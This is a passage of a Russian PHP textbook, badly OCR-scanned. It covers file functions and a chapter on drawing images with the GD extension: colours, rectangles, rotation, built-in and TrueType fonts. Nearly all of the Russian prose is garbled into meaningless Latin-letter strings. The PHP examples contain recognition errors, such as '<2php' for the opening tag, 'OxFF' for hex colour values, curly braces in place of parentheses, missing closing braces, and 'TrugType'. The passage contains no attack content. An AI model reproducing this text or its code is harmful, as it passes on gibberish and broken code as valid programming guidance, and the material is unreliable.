uus file(), HanpuMmep, siBjasieTcsl aHaJoroM (QYHKIUHU fread(). OHa CYMTHIBA-
eT Bce coiepxkuMoe (daitia B MaccuB. Kaxkabiil 31eMEHT MacCMBa COOTBETCTBYET
cTpoke daina, c cMMBOJIaMU HOBO# cTpokH (\n) BKIounTenbHO. Ecain Bala uH-
dbopmartius 10xKHBIM 00pa3oM oTdhopMmaTHpoBaHa (Kaxaasi CTPOKa 3aKaHYMBa-
€TCs1 110CJIe0BATEIbHOCTBIO \n) BBI C JIETKOCTBIO MOKETE COXPAHUTb HECKOJIBKO
yacteit HHGopMalu B o1HOM (aitse. EcTecTBeHHO, 3TO noBJieyeT 3a coboit Ha-
nexailee uaMeHenue crnocoba obpaborku HTML-dopmbi.

Xotenoch 6bl OTMETUTD, YTO AJ151 paboThI ¢ daiilaMu ecTb MHOTO Apyrux yHk-
IIMH, C KOTOPBIMU Bbl MOXK€Te O3HaKOMHUTbCSl Ha oduuManbHOM caiite PHP
(php.net), a Takxe B cClipaBOHMKE KOMaH[I, IPUBEJIEHHOM B KOHIIE JAHHOU KHU-
ru (B paszene “DaitnoBas cucrema” Bbl Haitzere Gosee 70 GyHKIMH, BKIIOYas,
KOHEYHO, pacCMOTpeHHbIe 3/ecb). Tak, ¢ moMouplo (GyHKUMH is_readable() BbI
MO>KeTe NPOBEPUTb, BO3MOXKHO JIM NMpoYuTaTh (aiia, a ¢ noMoubio GyHKIUH
is_writable(). — BO3MO>XHO JIM Mpou3BecTH 3anuch B ¢aiin. Bel MoxxeTe npoBepuTh
npaBa goctyna K aitny, cBo60HOE MPOCTPAHCTBO HA AUCKe WK obllee JUCKO-
BO€ [IPOCTPAHCTBO, BbI MOXETE yAaISATh U KOMUupoBaThb Gaitibi. Korzna Bl pasbe-
peTech 4TO K YeMY, Bbl CMOKETe HallHcaTb CBOE YCTOHUMBOE, TPOdecCHOHANbHOe
BeO-npuIoKeHHe, He Hyxaatolleecs B ucnosb3oBaiuu CYB/L.
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Web - ato Goubiie, yeM npocTo TeKCT. Vi306paxeHus MOSBAAIOTCA B BUAE JIO-
rOTUIOB, KHOMOK, doTorpaduii, ruarpamMM, pekaaMbl U MUKTOrpaMM. MHOro u3
3TUX U300paKeHUH SIBJISIOTCS CTaTUYECKUMHM M HUKOT/IA He U3MEHSIIOTCS, OHU
co3zanbl HHcTpyMeHTamu Bpoge Photoshop. Ho ectb Takxe 1 MHOro auHamu-
YyecKHUX U300paxkeHUH - OT pekyiambl st peheppasibHOIt mporpaMMbl Amazon /10
rpacMKOB MPOU3BOAUTENBHOCTH.

B PHP noaxzepxuBaercs co3ganue rpacduku ¢ nomoiubio pacuiupeHus GD.
B 3T0ii r;1aBe Mbl IOKaXKeM BaM, Kak JMHAMHYECKH reHepUPOBaTh H300paXKeHust
¢ noMouibio PHP.

9.1. BcTpavBanue u3obpaxeHus B CTpaHuly

PacnpocTpaneHHbIM 3261y /1eHHEM sIBJIETCs TO, uTO no ogHomy HTTP-3anpocy
MOeT ObITh MPUCJIAH OTBET, COCTOSAIUN U3 TeKcTa U rpaduKu. ITa W3NS
CO3/1aeTCs1 HA OCHOBAHUMM TOTO, YTO KOT/Ia Bbl TIPOCMATPUBaeTe CTPaHHUILY, Bbl BH-
JIUTe, YTO OHA MOJKET COJIePKaTh, KaK TEKCT, Tak U rpaduky (¢ororpaduu, uso-
OpaxkeHusi  T.1.). Ho Ba)KHO MOHSATDb, YTO BeO-CTpaHMIIA, COCTOsIIAS U3 TEKCTA
u rpaduky, popmupyercs depe3 psa HTTP-3anpocos Be6-6Gpay3sepa, Kaxablii
13 KoTtopbix ornpasJsieT 6paysepy HTTP-orset. [1pu 3TOM KaXk/blit OTBET MO-
XKEeT COfIep>KaTh OIMH U TOJIbKO OJIMH THI JaHHBIX. TakKUM 06pa3oM, ecJiv Bbl BU-
JIUTEe CTPaHUILY, COIEPXKALIYI0 HEKOTOPbIil TEKCT U JBa M300pakeHusi, 3HaiiTe,
yto norpebosasoch Tpu HTTP-3anpoca u Tpy COOTBETCTBYIOIIMX OTBETA, YTO-
Obl «cOOpaTh» JAHHYIO CTPAHMILY.

PaccMoTpuM cienyiolyio CTpaHHLLy:

<htm|>
<head>
<title>Tpumep crpanuum</title>

</head>

<body>
CrpaHuua copepxuT Asa u3obpaxeHus.
<img src="image1.png” alt="Image 1" />
<img src="image2.png” alt="Image 2" />
</body>
</html>
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Bpay3sep oTnpaBui psa 3anpocoB 115 OJYy4YeHHUs ITOM CTPAHULIbI, 8 UMEHHO!

GET /page.htm| HTTP/1.0
GET /image1.png HTTP/1.0
GET /image2.png HTTP/1.0

Beb6-cepBep oTnipaBus 0OpaTHO OTBET Ha Kaxblii 3anpoc. /lasee mpuBoasTCs 3a-
rosoBku Content-Type kaxxa0ro U3 3TUX OTBETOB:

Content-Type: text/html
Content-Type: image/png
Content-Type: image/png

Yrtobsl BcTpouTh creHepupoBainyio PHP-kaptunky B HTML-cTpanuuy, npex-
craBsre, uTo PHP-cuenapwmii haktuuecku renepupyet camo usobpaxenue. Eciau
y Hac ecTb cueHapuu image1.php v image2.php, renepupyioniue u3obpaxxeHus,
Mbl MOXeM MoauduunpoBats npeasiaymuit HTML-kox tak (o6paTuTte BHMMa-
HHe€, YTO TeNepb Y KAPTUHOK paciuupenue daiiaa .php):

<html>
<head>
<title>TMpumep cTpannubi</title>

</ hgod>

<body>
370 CTPAHWUA COREPXHT 2 N30BPaxXeHHs.
<img src="image1.php” alt="Kaptutka 1" />
<img src="image2.php” alt="Kaptutka 2" />
</body>
</html>

BMmecTo cchliok Ha peasibHble H300paXKeHHsT Ha BallleM CEPBEPE TeTH img TeNepb
cceotalorcest Ha PHP-cueHnapuy, Bo3Bpatiawoiiye rpagpuyecke JaHHbIE.

Bonee TOrO, Bbl MOXETE INe€peaaBaTb IEPEMEHHbIE ITUM CLUEHAPHUAM, 4TOOBI OIHH
cueuapnﬁ MOT' HCIIOJIb30BaTbCA AJIA CO34aHHUA PAa3HbIX M306pa>KeHl/Il7[ BMECTO
CO3JaHUsA OTAEJbHBIX CUEHAPHUEB J1A TEHEPHUPOBAHHUA KaXKI0T0 M306pa)l(eHHHl

<img src="image.php2num=1" alt="Image 1" />
<img src="image.php2num=2" alt="Image 2" />

3areM, BuyTpu PHP-cueHapus image.php Bbl Moxete Tak: $_GET['num'] mosy-
YUTb JOCTYII K NAPAMETPY num YTOOBI CO3/1aTh COOTBETCTBYIOIIEE H300paXKeHHE.

9.2. OcHoBHbIe KOHUEenuuu rpaduku

N3o6pasxxeHue - 3TO NPSAMOYTOJbHUK M3 MUKCeJIeN pa3HbiX 1BeTOB. l[BeTa naeH-
TUPULHPYIOTCS MO UX MO3ULMHU B NAJUTPE, B CBOIO OYepeb NaJUTPa - 3TO Mac-
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cuB 11BeTOB. Kaxcas 3amuch B majuTpe MMeeT TPU Pa3HbIX [[BETOBBIX COCTABJIS-
IOIMX - OJTHA JIJIST KPACHOTO, OJTHA [IJIs 3€JIEHOTO U OfiHa /IS cuHero. Hachiien-
HOCTb KaX/10T0 U3 11BeTa Bapbupyetcsi oT 0 (I[BET OTCYTCTBYET) 10 255 (moJIHast
HACBIIEHHOCTb ).

M306paxkeHus1 peIKO XPaHATCS MPOCTO B BUJIE KY4H ITMKCEJIeH U MaJuTpbl, BMe-
CTO 3TOTO UCIMOJIB3YIOTCS pa3yuunble rpaduyeckue ¢opmatsl daiyoB (GIFE,
JPEG, PNG u T1.1.), no3Boisifouiye ceaTb pa3Mep U300pakeHusi MeHbIIIE.

PasHbie ¢opMaThl MO-pasHOMY 06pabaThIBAIOT npo3paunocnis. I1po3payHOCTb
onpezessieT, rae U Kak ¢GoH cTpaHuIbl OyaeT nokasaH yepe3 usobpaxenue. Ha-
npumep, PNG nmoanepxuBaeT anbda-KaHa€: AOMOJHUTEJbHOE 3HAYEHUEe [T
KaX/IOTO MHKCeJsl, ONpeiesisollee cTeneHb MPO3payHOCTH B 3TOi Touke. [Ipy-
rue opmarsl, Hanpumep, GIF, npocTo 106aBAsIOT 0IHY 3aMKCh B MAJUTPY, KO-
TOpasi 03HayaeT npo3payHoctb. HekoTtopsie popmarsl, Hanpumep, JPEG, Boo6-
1l€e He MOJIeP>KUBAIOT MPO3PAYHOCTb.

Czraxcusanue (antialiasing) - TeXHOJOTH, TO3BOJIAIOILAS IEpPeMeLIATh UJIH I1e-
PeKpalBaTh MMKCEIU Ha TpaHuile GUTYpbI, YTOOBI CIeIaTh OCTENEeHHbIN Tepe-
xoa Mexay purypoit u ¢poHom. ITo3BosieT H36aBUTbCS OT TPYObIX U 3yOUaThIX
TPaHMIl, JeJaUMX U300paxkeHus1 HempHBieKkaTelbHbIMU. HekoTopbie (yHK-
I[MY1 PUCOBAHHsI MO3BOJISIIOT PEAIM30BaTh CTJIaKHBaHUE.

YuuTbiBas, 4TO €CTh 256 BO3MOXKHBIX 3HAUEHUH JJIsI KPACHOM, 3€JIEHOM U CUHEeM
COCTaBJISIIOILMX, Y HAac ecTb 16 777 216 BO3MOXXHBIX I[BETOB JJ151 KaXK/I0T0 MUKCe-
ss. HekoTtopbie dopmaTsl $aitioB OrpaHMYMBAIOT YUCJIO 1[BETOB MAJUTPbI (Ha-
npumep, GIF noaaepxusaet He 6oJiee 256 BETOB), IPyrHe MO3BOJSAIOT BaM CO3-
JIaBaTh CTOJIbKO 1[BETOB, CKOJIbKO BaM HY>HO. Ilocsiennue usBectHsl kak ¢op-
Marthl true color (MCTHHHBII [[BET), MOCKOJIbKY OHU MOAIEPXKUBAIOT 24 OUTHBIN
1uBeT (1o 8 GUTOB /1151 KPACHOTO, 3€JIEHOTO U CHHETO), YTO MTPU ITOM J1aeT HOIblie
OTTEHKOB, YeM YeJIOBEUECKUIl IJ1a3 MOXKET BOCTIPUHSTD.

9.3. Cospanmne n pucosaHne n3oopaxeHui

Tenepsp naBaiiTe pacCCMOTPUM CaMblii TPOCTOM MPUMED UCHOJb30BAHUS PACLIM-
penust GD. [Tpumep 9.1 - 3TO crieHapuii, reHepUPYIOLIME KBAPAT, 3aMI0JTHEHHBI
yepHbIM 1[BeTOM. Ko paboraer ¢ 060 Bepcueit GD, kotopast mojiep>xiuBaer
¢opmat PNG.

TRy

Mpumep 9.1. YepHbit kBagpaT Ha Henom done (biack.php)

<2php
$image = imagecreate(200, 200);
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$white = imagecolorallocate($image, OxFF, OxFF, OxFF);
$black = imagecolorallocate($image, 0x00, 0x00, 0x00);
imagefilledrectangle($image, 50, 50, 150, 150, $black);

header("Content-Type: image/png”);
imagepng($image);

[Tpumep 9.1 mnmoctpupyer 6a30Bbie 3Taa reHEPUPOBAHUS U300PAXKEHHUST: CO3-
naHue u300paxkeHusl, BblJeJeHie IBETOB, PUCOBaHHE M300paKeHHUs], a 3aTeM -
COXpaHeHHe WM OTIpaBKa u3obpaxenus. Pesyssrar BoimoaHeHust mpumepa 9.1
npezcTaBieH Ha puc. 9.1.

Puc. 9.1. YepHbiit kBagpat Ha 6enom dpone

Yro6bl yBUIETH PE3YJIBTAT, IPOCTO BBI30BUTE B BallieM Gpay3epe crpanuily black.
php. Uto6bl BCTPOUTH 3TO U306pakeHHe B BeG-CTPaHMILY, UCIIOIb3yHTe:

<img src="black.php” />
CrpyxTypa rpaduueckost nporpamMmsi

BosbuiHCTBO porpaMM reHepupoBaHUsT U300paXkKeHUsl CTPOSITCS 0 MPUHIIM-
1y, oTpaxkeHHOMY B nipuMepe 9.1. J[aBaiiTe ocTaHOBUMCsI Ha HeM mornozpobHee.

Bbi Moxere co3nate 256-uBeTHOEe HM300paXkeHHEe C MOMOIUbI0 (QYHKUUU
imagecreate(), BO3BpaIAIONIEH IECKPUIITOP U300 paXKeHHsI:

$image = imagecreate(width, height);

Bce 118eTa, ucrosib3yembie B U306paskeHUH, 0JKHBI ObITh BbieIeHbl (pyHKIHeH
imagecolorallocate(). IlepBblif BbIZENEHHDbII I1[BET CTAHOBUTCS (HOHOM U30-
6paxkeHus '

$color = imagecolorallocate(image, red, green, blue);

2. 310 BEPHO TONLKO ANA N3006paXeHWiA, UCNONb3YIoLLMX LBETOBYIO nanuTpy. Ha True Color u3o-
6paxeHns 3TO NPaBUNO HE pacnpoCTPaHaEeTCs.
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Apryments! 3anaiotr RGB-komnonents! 1Beta. B npumepe 9.1 Mbl ucnosbdyem
3HAY€HMsI 1{BETA B IIECTHAILATEPUYHOM IPECTABIEHHUH, KOTOPBIE MOCJIE MPe0d-
pasoBauusi B HTML-npencrapienye OyayT BbITJISAETb TakK: #FFFFFF 11 #000000.

Pacummpenne GD nmo3BosisieT pucoBaTh MHOXKECTBO Pa3HbIX rpadUyecKux Mpu-
MuTHBOB. B mpumepe 9.1 Mbl ucnospdyem (yHKUMIO imagefilledrectangle(),
B KOTOPO¥ BbI YKa3blBaeTe pa3Mepbl NMPSIMOYTOJIbHUKA, Tiepe/iaBast KOOPAUHATBI
BEPXHETO JIEBOTO U HIXKHETO PABOTO YTIJIOB:

imagefilledrectangle(image, tlx, tly, brx, bry, color);

Caenyiomuii mar - ornpaBka 3arojoska Content-Type Gpaysepy ¢ yka3zaHHbIM
TUIOM cojepxkumoro (cM. Tabr. 9.1). Tocsie 3TOro Mbl BbI3BIBAEM COOTBETCTBY-
IOLIYI0 YKa3aHHOMY paHee 3aroioBKy GyHKLHIO BbiBoAa M300paxenus. [JocTyr-
Hbl (DyHKUMM imagejpeg(), imagegif(), imagepng() W imagewbmp(), BBIBO-
asue uzobpaxenus B popmartax GIF, JPEG, PNG u WBMP cooTBeTCTBEHHO:

imagegif(image [, filename ]);

imagejpeglimage [, filename [, quality ]]);

imagepng(image [, filename ]);

imagewbmp(image [, filename ]);

Ecnu napamertp filename (ums daiina) He 3amaH, usobpaxkenue Gyaer mpocTo
BbIBe/IeHO B Opay3ep. B mpoTuBHOM cayyae OyzaeT co3naH (MM Tepe3anucan
B CJIy4ae CyleCcTBOBaHUS) rpadpuueckuit dhaiis c 3a1aHHbBIM UMeHeM. [lapameTp
quality nnst JPEG - ato uncio B auana3sone ot 0 (IJ10X0 BBITJISIUT, HO 3aHMMa-
eT MUHUMYM MecTa Ha aucke) 10 100 (OTIMYHO BBITJISIUT, MAKCUMYM MECTa Ha
nucke). Yem Huxke kauecTBo, TeM MeHbliie pa3mep JPEG-daiina. 3nauenue mno
YMOJIYAHUIO - 75. ;

B mpumepe 9.1 mb1 otripaBisieM HTTP-3arosioBok, a motom cpasy ke BbI3bIBaeM
dbyHkuMO BbIBoga M300paxkeHus: imagepng(). Ecim BbI OTmpaBuTE 3aroJioBOK
Content-Type B Hauase clieHapus, Bce CreHepUPOBaHHbIE OIMOKU OYIyT CUNTATh-
Csl KaK IaHHbIe M300pakeHus1 ¥ Opay3ep 0TOOPa3UT 3HAYOK Pa3OUTOM KAPTUHKH.

B tabsmie 9.1 npuseneHs! noauepxxuBaeMsie hopMaThl U300paXKEeHHMA U COOT-
BETCTBYMWOII[ME UM 3HaYeHus 3arosoBka Content-Type.

Tabnuua 9.1. 3Hauenunsa 3aronoska Content-Type ansa rpadmyeckux popmatos

®dopmar Content-Type
GIF image/ gif
JPEG image/jpeg
PNG image/png B
e S S — Tmoge/vndwapbmp
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U3menenne popmara BbiBOAA

Yro6bl u3MEHUTb (hOpMAT BBIBO/IA, BaM HY>KHO BHECTHU B ClLIEHAPHii BCETO IBA 13-
MeHEeHUs: OTIpaBUTh Apyroe 3Hayenre Content-Type u ncnosbp3oBath apyryio
¢byHKkIMIo reHepupoBanus u3obpaxenus. [Ipumep 9.2 nokasbiBaeT U3MEHEHHBIN
npumep 9.1, BoiBoasimuil JPEG-usobpaxenus BMecto PNG-usobpaxenusi.

NMpumep 9.2. JPEG-Bepcus 4epHOro ksagpara

<2php
$image = imagecreate(200, 200);

$white =imagecolorallocate($image, OxFF, OxFF, OxFF);
$black = imagecolorallocate($image, 0x00, 0x00, 0x00);
imagefilledrectangle($image, 50, 50, 150, 150, $black);

header("Content-Type: image/jpeg”);
imagejpeg($image);

ARSI NN NEEEE RSN EmEARA

Mposepsiem, kakue ¢opmarbi LOCTYMHbI

Eciu Bbl mumieTe Koz, KOTOPBIN JOJKEH MOPTUPOBATbCS MO Pa3HbIM CHCTEMaM,
3TH CHCTEMBl MOTYT MOIEPXKUBaTh OTJHualoIuecs: (popmatbl rpaduueckux
uzobpaxenuit. [1o3ToMy Hcmosb3yiTe (GYHKUMIO imagetypes(), 4TOObI MpOBe-
PUTb, KAKHE TUIbI H300paskeHUH TOIIEPIKUBAIOTCS.

DyHKUUA imagetypes() Bo3BpalaeT GUTOBOe MoJjie. Bbl MoXeTe MCHO/Ib30BaTh
onepatop AND (&), 4To6bl IPOBEPHUTD, yCTAHOBJIEH TOT WK HHOM 6UT. KoHcTaH-
Tbl IMG_GIF, IMG_JPG, IMG_PNG 1 IMG_WBMP COOTBETCTBYIOT MMOHATHO KaKUM
rpadgpuyeckuM popmaTam.

[Tpumep 9.3. renepupyer PNG-daiin, eciu popmar PNG-nonnepsxkuBaetcs, eciu
e OH He noaaepxuaercs, To 6yzaet cosnan JPEG-daiin. Ecau xe nu PNG, uu
JPEG ne nopnepxusaiorcs, 6yzaer coznano GIF-uzobpaxenue.

Mpumep 9.3. Mposepka dopmara usobpaxenms

NN EEE Y EENE NSNS E NS SIS

<2php
$image = imagecreate(200, 200);

$white = imagecolorallocate($image, OxFF, OxFF, OxFF);
$black = imagecolorallocate($image, 0x00, 0x00, 0x00);
imagefilledrectangle($image, 50, 50, 150, 150, $black);

if (imagetypes() & IMG_PNG) {
header(“Content-Type: image/png”);
imagepng($image);

NN NN AN NS SN NE N EEEEEEEESE AR
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else if (imagetypes() & IMG_JPG) {
header(“Content-Type: image/jpeg”);
imagejpeg($image);

else if (imagetypes() & IMG_GIF) {
header(“Content-Type: image/gif");
imagegif($image);

}

Yrenume cyuiectrylouiero ¢paiina

EcJiv BbI XOTHUTE 3arpy3uTh U MOAUGUIMPOBATD YK€ CYIECTBYIOIIee U300paxeHue,
HUCTIOJIb3yTE byHKIMH imagecreatefromgif{(), imagecreatefromjpeg()
U imagecreatefrompng():

$image = imagecreatefromgif{filename);

$image = imagecreatefromjpeglfilename);
$image = imagecreatefrompng(filename);

OcHoBHbie PYHKLUN PHCOBAHMS

Pacurperrie GD comepxuT GyHKIMY 11 PUCOBaHUS TOYEK, JIMHUIA, TyT, psi-
MOYTOJIbHUKOB, MHOTOYTOJbHUKOB. B 3TOM paszgesne OyayT omucaHbl 6a3oBbie
dbyukuu, nogaepxxuaemoie GD 2.x.

Camasa mpoctass (GYHKIUS - imagesetpixel(), KOTOpasi yCTaHaBJIMBAeT I[BET
YKa3aHHOTO ITUKCEJIS:

imagesetpixel(image, x, y, color);

Hnsa BBIBO/IA JIMHUH HMCIIO0JIb3YIOTCS (byHKIII/II/I imageline() "
imagedashedline():

imageline(image, start_x, start_y, end_x, end_y, color);

imagedashedline(image, start_x, start_y, end_x, end_y, color);
Bropast GyHKIMsI prcyeT MYHKTUPHYIO JIMHUIO. A ciexyiouue aBe GyHKIUHN
PUCYIOT NIPAAMOYTOJIbHUKE, [IepBasi MPOCTO PUCYET NPSAMOYTOJbHUK C TPaHULEH
IIBE€Ta COlOT, a BTOpas PUCYET 3aHOJIHeHHbIﬁ IIBETOM CO]OT IPpAMOYTOJIbHUK:

imagerectangle(image, tlx, tly, brx, bry, color);

imagefilledrectangle(image, tlx, tly, brx, bry, color);
Omnpenenure paciosiokeHre U pa3Mep NPAMOYTOJbHUKA, NepeiaB KOOPAUHATHI
JIEBOI'O BEPXHEro U HUXXKHETO ITPpaBOro YIJOB.

Bbl MoxeTe HapucOBaThb NPOM3BOJIbHbIE MHOTOYTOJBHUKA (YHKIUAMU
imagepolygon() 4 imagefilledpolygon():

imagepolygon(image, points, number, color);
imagefilledpolygon(image, points, number, color);
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O6e pyHKUNH NPUHUMAIOT MACCHB TOYEK. ITOT MACCHUB COAEPKUT KOOPANHATBI
X U Yy ISl KaX/0W BEPIIMHBI MHOTOYTOJbHUKA. APrYMEHT number 3ajaeT YNUCIIO
BEPLIMH B MaCCHBE, 0OBIYHO OHO PaBHO count($points)/2.

DyHK1UMS imagearc() pUcyeT Ayry (4acTb 3JUIHIICA):
imagearc(image, center_x, center_y, width, height, start, end, color);

DJIJIUIIC ONpe/essieTCsl ero UeHTPOM, UWIMPHUHOI U BBICOTOM (sl Kpyra UIMPHU-
Ha ¥ BbicOTa paBHbl). HauanbHas (start) ¥ koHeuHas (end) TOYkM Ayru 3aja-
10TCs B rpagycax, 0° cooTBeTCTBYET MOJIOKEHHIO 3 yaca, yra pucyeTcs 1o 4aco-
BOI cTpesike. UToObI HAPHCOBATH MOJIHBIH AJIHUIIC 3a4aiiTe 3HayeHue 0 115 start
1 360 anis end.

CyuectByer aBa criocoba 3amoJHUTb IIBETOM YK€ HapHCOBaHHbie (DUTYPBI.
G)ym(um{ imagefill() MPOM3BOAUT 3aJMBKY, HauMHasA C 3aJaHHbIX KOOPAM-
HaT. DyHKuusA imagefillloborder() MPOM3BOAMT 3aMMBKY 00J1aCTH, OrpaHH-
4YeHHOM LBeTOM border:

imagefill(image, x, y, color);

imagefilltoborder(image, x, y, border_color, color);
MbI Takxe ‘MOXeM BpalllaTb M300pakeHHe, YTO MOXET ObITb MOJIE3HO MNpPU
CO3/laHUH pa3HbIX HHTEpHeT-Opoop. JlenaeTcsa 3TO ¢ MOMOUIbIO (PYHKLUUH
imagerotate(), KOTOpasi MO3BOJIIET HaM [MOBOpPaYyMBaTh HM300paXkeHHe Ha 3a-
JAQHHBINA yTOJI:

imagerotate(image, angle, background_color);

Koa B nmpumepe 9.4 noBopaurBaeT Halll YepHbIA KBajZipaT Ha 45 rpaaycos. Ap-
ryMeHT background color ucnonb3yercs A yKa3aHUsi LBETa HEMIOKPBITOM I10-
cJie BpalleHusi 0b6Jacti n3o0paxkeHusi. Mbl ycTaHOBHIIM ero B 1, 4ToObI NOKa3aTh
KOHTPACT MeX/y YepHbIM 1 OesibIM 1iBeTaMH. Pe3ysibraT paboThl Halllero npume-

pa npuBeieH Ha puc. 9.2.

Puc. 9.2. YepHbiit kBaApaT NOBEPHYTLIA Ha 45 rpaaycos
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Mpumep 9.4. NMpumep BpaiyeHns pucyHka  :

<2php
$image = imagecreate(200, 200);
$white = imagecolorallocate($image, OxFF, OxFF, OxFF);

$black = imagecolorallocate($image, 0x00, 0x00, 0x00);
imagefilledrectangle($image, 50, 50, 150, 150, $black);

$rotated = imagerotate($image, 45, 1);

header("Content-Type: image/png”);
imagepng($rotated);

9.4. U306paxeHns C TEKCTOM

3auacTyio Ha u3o00paxxeHre HeoOXoauMo 100aBUTb TekcT. J1s atoro B GD ecTs
BcTpoeHHbie pudThI. [Ipumep 9.5 06aBseT TEKCT B HAalLll YEPHBIN KBa/Ipar.

NMpumep 9.5. flobaBnenne TekcTa kK M06paxeHnio

O R

<2php

$image = imagecreate(200, 200);

$white = imagecolorallocate($image, OxFF, OxFF, OxFF);
$black = imagecolorallocate($image, 0x00, 0x00, 0x00);
imagefilledrectangle($image, 50, 50, 150, 150, $black);

imagestring($image, 5, 50, 160, “A Black Box”, $black);

header{"Content-Type: image/png”);
imagepng($image);

T T e R E S R PN L

2>

PesyanaT BBITIOJTHEHHUA CLIEHAPHUSA 3TOIO CU€HapUA IIPE/ACTAaBJ/IEH Ha pPUC. 9.3.

DyHKUMS imagestring() 100aB/seT TEKCT K HW300pakeHHI0. YKaXuTe BepX-
HIOIO JIEBYIO TOYKY, UBeT 1 IpUDT (TouHee GD-unentudukarop nipudra) tek-
cra:

imagestring(image, font_id, x, y, text, color);
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A Black Box

Puc. 9.3. YepHbit kBaapaTt ¢ A06aBNEHHbIM TEKCTOM

Wpudroi

GD unentuduumpyet wpudTsi o ID. Berpoeno 5 mipudToB, HO Bbl MOXeTe 3a-
rPy3UTb JOMNOJIHUTEJNbHbIE IPUPTH (PyHKIUEH imageloadfont(). IIsiTh BCTpO-
eHHbIX PU(TOB MOKa3aHbl Ha puC. 9.4.

Font 1: ABCDEfahij
Font 2: ABCDEfghij
Font 3: ABCDEfghi j

Font 4: ABCDEFghij
Font 5: ABCDEfghi.j

Puc. 9.4. “PopaHbie” GD-wipudTbi

KO}I, I/ICHOJIb3yEMbIl7[ AJ13 AEMOHCTPAIIMU 9THX L[Ipl/l(l)TOB, IMMOKa3aH HHUXe:

<2php

$image = imagecreate(200, 200);

$white = imagecolorallocate($image, OxFF, OxFF, OxFF);
$black = imagecolorallocate($image, 0x00, 0x00, 0x00);

imagestring($image, 1, 10, 10, “Font 1: ABCDEfghij”, $black);
imagestring($image, 2, 10, 30, “Font 2: ABCDEfghij”, $black);
imagestring($image, 3, 10, 50, “Font 3: ABCDEfghij”, $black);
imagestring($image, 4, 10, 70, “Font 4: ABCDEfghij”, $black);
imagestring($image, 5, 10, 90, “Font 5: ABCDEfghij”, $black);

header(”Content-Type: image/png”);
imagepng($image);

Bsl MokeTe co3naBaTh cobcTBeHHBIE IPUGTHI U 3arpyxath ux B GD ¢ nomolipio
byHkuUU imageload(). OaHako 3TH WPUGTHl IBOMYHBIE U 3aBUCUMBI OT apXH-
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TEKTYPBI, UTO JIeJIaeT X HENIEPEHOCUMBIMHU € OHOM M1atdopMy Ha apyryio. [To-
3TOMY BMECTO HMX JIyYllle UCMO0JIb30BaTh TrueType-mpudThl, YTO MPEJOCTaBUT
BaM 6oJiblie THOKOCTH.

Wpudrei True Type

TrueType - dopmar konTypHoro uipudTa, obecneynBainii 60jiee TOYHOE
yrpaBJjieHHe peHIepUHroM (MPOPUCOBKON) cuMBOsIOB. ObGpatuTe, MoOXanyi-
cta BHUManue, yto TrueType — 3To He Ha3BaHue wWpudTa, 3TO Ha3BaHue Qop-
Mmara upudToB. Utobsl 106aBUTH B H300paXkeHHe TEKCT, ucnoib3yst TrueType-
HIpudT, MpUMEHUTE QYHKIIUIO imagettftext():

imagettftext(image, size, angle, x, y, color, font, text);

Pasmep (size) 3apaercs B nukcensax. Yron (angle) 3ampaerca B rpagycax (0° co-
OTBETCTBYET MOJIO)KEHUIO YACOBOW CTPEJKU 3 yaca U O3HAYaeT FOPU30HTAJIb-
HbIi1 BbIBOJ TeKcTa, 90 rpagycoB - BepTUKAIbHBIN BbIBO/ TeKcTa). KoopauHate
X Y Y YKa3bIBAIOT HWXKHUH JIEBBIH YroJl OCHOBaHUs s TeKcTa. Tekct (mapamerp
text) MoxeT coaepxaThb nocyaenoBateabHocT UTF-8' Buna & #234 a1 BbiBonA
BbICOKO-pa3psiiHbix ASCII-cumBosioB.

[Tapamerp font 3anaer pasmenienue TrueType-uipudra, KoTOpBIii 6ya€T KCIOJb-
30BaThCs A BbIBOJA CTPOKU. Ecan ipudT He HauKMHaeTcs ¢ /, TO B KOHell Ha-
3BaHus aitna 6yner robaseHo pacuupenue .itf. [1o yMoiyaHuio nouck mpud-
TOB OCYIIECTBJISIETCS B KaTaJore /usr/share/fonts/truetype.

[lo ymonuaHuio TeKCT, BoiBeeHHbI TrueType-mipudToM, criaxuBaercs, 4To
yMpoIaeT yTeHre HONbUIMHCTBA LIPUEPTOB, HECMOTPS Ha TO, YTO TEKCT MHOTAA
BBITJIIIUT HEMHOTO Pa3MbIThiM. OIHAKO CryIa)XMBaHKUE MOXKET YCJIOXKHHUTD uTe-
HUe MEJIKOTO TEKCTA - Y MaJIEHbKUX CUMBOJIOB MEHbllIe ITUKCeJIeit, T03TOMY KOp-
PEKTHPOBKH CrJIaXKMBaHHs OLLYIAIOTCS OoJiee CyIeCTBEHHO.

Bbl MoXeTe BBIKJIIOUUTD CrJIa)KMBaHUe, IPEJOCTaBUB OTPUIATENIbHBIA HHIEKC
11BeTa, Hallp1uMep, -4 B KauecTBe napamerpa color . B pesy.srare BoibpaH Oyaer
IIBET C MHIEKCOM 4, HO CTJIa)KMBaHHUe OYIeT BHIKJIIOUEHO.

[TIpumep 9.6 ucnosb3yer TrueType-upudT a5t BbIBOAA TEKCTA B H300paXKEHHUH.
[TpudT HAXOAUTCS B TOM XK€ KATaJIOTe, YTO U CLIEHAPHIA.

2 UTF-8 - 310 8-6MTHBIN Unicode. Nonyunts 6onee noapobHyto nHdopmaumio o FOHMKoAE MOXHO
no appecy http://www.unicode.org
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Mpumep 9.6. Hcnonb3osakue TrueType-wpudpTos

<2php

$image = imagecreate(350, 70);

$white = imagecolorallocate($image, OxFF, OxFF, OxFF);
$black = imagecolorallocate($image, 0x00, 0x00, 0x00);

// ycranoeum nyTs, rae Bubnuoteka GD nonxwHa uckats wpudte TrueType
putenv("GDFONTPATH=" . realpath(".'));
imagettftext($image, 20, O, 10, 40, $black, 'courbi', “Courier TrueType”);

header(“Content-Type: image/png”);
imagepng($image);

PesynbraT npumepa 9.6 nokasaH Ha puc. 9.5.

The Courier TTF font

Puc. -9.5. Peaynsrar npumepa 9.6

[lpumep 9.7 ucnosnsdyer (YHKIMIO imagettftext() /s BbIBOAA TEKCTa Bep-
THUKAJIBHO.

Mpumep 9.7. BepTukanbHbiii BbIBOZ TEKCTA

o4.L

<2php

$image = imagecreate(70, 350);

$white = imagecolorallocate($image, 255, 255, 255);
$black = imagecolorallocate($image, O, O, 0);

// ycranosum nyts, rae GD nonxHa uckats wpudTe TrueType
putenv("GDFONTPATH=" . realpath('.'));
imagettftext($image, 20, 270, 28, 10, $black, 'courbi', “Courier TrugType”

header("Content-Type: image/png”);
imagepng($image);

Pesyssrar aToro npumMepa nokasax Ha puc. 9.6.

JUOF JLL ISTINOD

Puc. 9.6. BepTukanbHbii
TTF-TtexcTt
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9.5. iInnamunyeckne creHepMpoBaHHbIE KHOMKK

